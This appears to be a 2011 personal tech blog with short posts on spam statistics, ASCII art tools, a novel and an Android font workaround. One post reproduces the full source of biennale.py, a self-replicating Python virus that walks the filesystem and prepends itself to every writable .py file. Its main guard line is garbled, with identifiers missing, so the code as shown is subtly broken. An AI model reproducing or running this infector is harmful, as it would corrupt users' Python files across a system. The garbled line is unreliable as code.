Friday, June 10, 2011

Becoming a good computer engineer

A fun yet good read on how to improve your computer skills.

Seven steps to become a world class computer engineer:
http://www.hungry-hackers.com/2010/06/seven-steps-to-become-a-world-class-computer-engineer.html

Saturday, June 4, 2011

Spams

Here's a list of Email Spam by Topic that I picked up from Wikipedia:
http://en.wikipedia.org/wiki/E-mail_spam


EMail Spam by Topic
Pharmacy81%
Replica5.40%
Enhancers2.30%
Phishing2.30%
Degrees[16]1.30%
Casino1%
Weight Loss0.40%
Other6.30%


A good article about the end of one of the big spammers http://www.wired.com/wired/archive/14.08/spamking_pr.html
Can you believe he sent about 25 million emails a day?

Friday, June 3, 2011

First virus in python

This is something I read long ago. First virus created using python created not to harm people but to show that python's potential.

Web page for the virus: http://www.0100101110101101.org/home/biennale_py/index.html

The source code is

# biennale.py _ go         to  49th Biennale di Venezia
HTTP://WWW.0100101110101101.ORG  [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *

def fornicate(guest):
   try:
       soul = open(guest, "r")
       body = soul.read()
       soul.close()
       if find(body, "[epidemiC]") == -1:
           soul = open(guest, "w")
           soul.write(mybody + "\n\n" + body)
           soul.close()
   except IOError: pass      

def chat(party, guest):
   if split(guest, ".")[-1] in ("py", "pyw"):
       fornicate(party + guest)

def join(party):
   try:
       if not S_ISLNK(os.stat(party)[ST_MODE]):
           guestbook = listdir(party)
           if party != "/": party = party + "/"
           if not lower(party) in wank and not ".py" in guestbook:
               for guest in guestbook:
                   chat(party, guest)
                   join(party + guest)
   except OSError: pass
     
if  == '':
       mysoul = open(sys.argv[0])
       mybody = mysoul.read()
       mybody = mybody[:find(mybody, "#"*3) + 3]
       mysoul.close()
       blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
       if blacklist[-1] != "/": blacklist = blacklist + "/"
       wank = [lower(blacklist), "/proc/", "/dev/"]
       join("/")
       print ">      This file was contaminated by biennale.py, the world slowest virus."
     
       print "Either Linux or Windows, biennale.py is definetely the first Python virus."
       print "[epidemiC] http://www.epidemic.ws  HTTP://WWW.0100101110101101.ORG "
       print ">  <"
###

Friday, May 13, 2011

New Blog

Hi guys,

Just started another blog http://blvdeer.co.cc/blog

Why a new blog?
1. This blog is about technical only. The will be about everything.
2. I wanted to try wordpress.
3. This blog is blocked at my office.

You never update this blog, do you think you will update the new one?
Yeah that's kind of true. Let's see what happens.

Tuesday, May 10, 2011

ASCII Arts

What is ASCII Arts?



There are some websites with wonderful contents like

http://www.ascii-art.de/
http://www.chris.com/ascii/index.php

There are many other websites that allow you to create signatures using ASCII Arts.
Yeah they are cool, but have your heard of JavE??

It is a small cool software that allows you to draw your ascii arts by yourself. Its like using Ms-Paint. It is really simple. It allows usage of many fonts and the collection can be expanded with downloadable font library (they call it Figlet).

It also allows converting an image into ascii art and creating animations.

It is a freeware. They have pointed on their website that it will shift to GPL license making it opensource but it hasn't happened for sometime.

Go ahead and try it out:

http://www.jave.de/

Tuesday, April 26, 2011

Money Speech

Have you read the "Atlas Shrugged" by Ayn Rand? Well, I'm sad I never finished because of my neck issue. But I kept remembering a speech on Money by one of the lead characters. It really puts all I think and agree about money. I'm sure most people I know/like will agree with me. You can read it here http://www.freerepublic.com/focus/news/2158115/posts

Saturday, April 16, 2011

Fixing Hindi on Android

Recently I rooted and moded my Spica to Android 2.2 froyo by Cyanogenmod but it looks like they haven't put much thought to Hindi/Nepali fonts.
Even earlier the vowel signs were all messed up.

But I couldn't find any fix for this instead I found a work around in opera mini.

First let me tell you one thing, opera mini is a must app.

Open opera mini, in the address bar type

config:

In the bottom, there is an option

Use bitmap fonts for complex fonts

Set it to YES

And it will work only in opera mini. Well something is better than nothing.